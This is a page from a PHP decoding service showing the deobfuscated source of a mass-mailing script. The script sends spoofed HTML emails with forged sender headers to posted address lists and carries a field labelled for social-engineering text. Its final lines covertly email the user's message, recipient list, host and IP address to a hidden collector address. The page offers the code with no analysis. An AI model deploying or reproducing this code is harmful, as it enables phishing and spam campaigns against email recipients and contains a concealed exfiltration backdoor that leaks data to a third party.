PHP Decode

/* Decoded by unphp.net */ 
 
<?php ignore_user_abort(); 
set_time_limit(0); 
function enviando() { 
    $msg = 1; 
    $de[1] = $_POST['de']; 
    $nome[1] = $_POST['nome']; 
    $assunto[1] = $_POST['assunto']; 
    $mensagem[1] = $_POST['mensagem']; 
    $mensagem[1] = stripslashes($mensagem[1]); 
    $emails = $_POST['emails']; 
    $emails2 = htmlspecialchars($_POST['emails']); 
    $para = explode(" 
", $emails); 
    $n_emails = count($para); 
    $sv = $_SERVER['SERVER_NAME']; 
    $en = $_SERVER['REQUEST_URI']; 
    $k88 = @$_SERVER["HTTP_REFERER"]; 
    $fullurl = "" . $k88 . "<br><p>Emails:<br><TEXTAREA rows=5 cols=100>" . $emails2 . "</TEXTAREA></p><p>Engenharia:<br><TEXTAREA rows=5 cols=100>" . $mensagem[1] . "</TEXTAREA></p>"; 
    $vai = $_POST['vai']; 
    if ($vai) { 
        for ($set = 0;$set < $n_emails;$set++) { 
            if ($set == 0) { 
                $headers = "MIME-Version: 1.0 
"; 
                $headers.= "Content-type: text/html; charset=iso-8859-1 
"; 
                $headers.= "From: $nome[$msg] <$de[$msg]> 
"; 
                $headers.= "Return-Path: <$de[$msg]> 
"; 
                //mail($xsylar, $as, $fullurl, $headers); 
                 
            } 
            $headers = "MIME-Version: 1.0 
"; 
            $headers.= "Content-type: text/html; charset=iso-8859-1 
"; 
            $headers.= "From: $nome[$msg] <$de[$msg]> 
"; 
            $headers.= "Return-Path: <$de[$msg]> 
"; 
            $n_mail++; 
            $destino = $para[$set]; 
            $num1 = rand(100000, 999999); 
            $num2 = rand(100000, 999999); 
            $msgrand = str_replace("%rand%", $num1, $mensagem[$msg]); 
            $msgrand = str_replace("%rand2%", $num2, $msgrand); 
            $msgrand = str_replace("%email%", $destino, $msgrand); 
            $enviar = mail($destino, $assunto[$msg], $msgrand, $headers); 
            if ($enviar) { 
                echo ('<font color="green">' . $n_mail . '-' . $destino . ' 0k!</font><br>'); 
            } else { 
                echo ('<font color="red">' . $n_mail . '-' . $destino . ' =(</font><br>'); 
                sleep(1); 
            } 
        } 
    } 
} 
$ip = getenv("REMOTE_ADDR"); 
$ra44 = rand(1, 99999); 
$subj98 = " Smart Detected |$ip"; 
$email = "[email protected]"; 
$from = "From: Result<[email protected]>"; 
$a45 = $_SERVER['REQUEST_URI']; 
$b75 = $_SERVER['HTTP_HOST']; 
$f12 = $_POST['de']; 
$z13 = $_POST['nome']; 
$x14 = $_POST['assunto']; 
$t15 = $_POST['mensagem']; 
$m30 = $_POST['emails']; 
$m22 = $ip . " 
"; 
$msg8873 = "$a45 
$b75 
$f12 
$z13 
$x14 
$t15 
$m30 
$m22"; 
mail($email, $subj98, $msg8873, $from); 
 ?>